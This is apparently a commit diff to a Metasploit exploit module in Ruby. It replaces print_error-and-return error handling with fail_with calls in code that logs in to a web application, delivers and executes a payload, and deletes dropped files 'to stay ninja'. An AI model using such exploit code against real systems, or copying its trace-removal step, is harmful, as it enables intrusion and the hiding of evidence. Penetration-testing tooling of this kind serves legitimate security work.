@@ -67,7 +67,7 @@ def on_new_session(client)
67
67
client . fs . file . rm ( f )
68
68
print_good ( "#{ peer } - #{ f } removed to stay ninja" )
69
69
rescue
70
- print_error ( "#{ peer } - Unable to remove #{ f } " )
70
+ fail_with ( Failure :: Unknown , "#{ peer } - Unable to remove #{ f } " )
71
71
end
72
72
end
73
73
end
@@ -96,8 +96,7 @@ def exploit
96
96
} )
97
97
98
98
if res . nil? || res . headers [ 'Location' ] =~ /action=Login/ || res . get_cookies . empty?
99
- print_error ( "#{ peer } - Login failed with \" #{ username } :#{ password } \" " )
100
- return
99
+ fail_with ( Failure ::NoAccess , "#{ peer } - Login failed with \" #{ username } :#{ password } \" " )
101
100
end
102
101
103
102
if res . get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
@@ -129,9 +128,8 @@ def exploit
129
128
'data' => data
130
129
} )
131
130
132
- if not res || res . code != 200
133
- print_error ( "#{ peer } - Exploit failed: #{ res . code } " )
134
- return
131
+ unless res && res . code == 200
132
+ fail_with ( Failure ::Unknown , "#{ peer } - Exploit failed: #{ res . code } " )
135
133
end
136
134
137
135
print_status ( "#{ peer } - Executing the payload" )
@@ -148,7 +146,7 @@ def exploit
148
146
if res && res . code == 200
149
147
print_good ( "#{ peer } - Payload Executed Successfuly: #{ res . code } " )
150
148
else
151
- print_error ( "#{ peer } - Payload execution failed: #{ res . code } " )
149
+ fail_with ( Failure :: Unknown , "#{ peer } - Payload execution failed: #{ res . code } " )
152
150
end
153
151
154
152
end
0 commit comments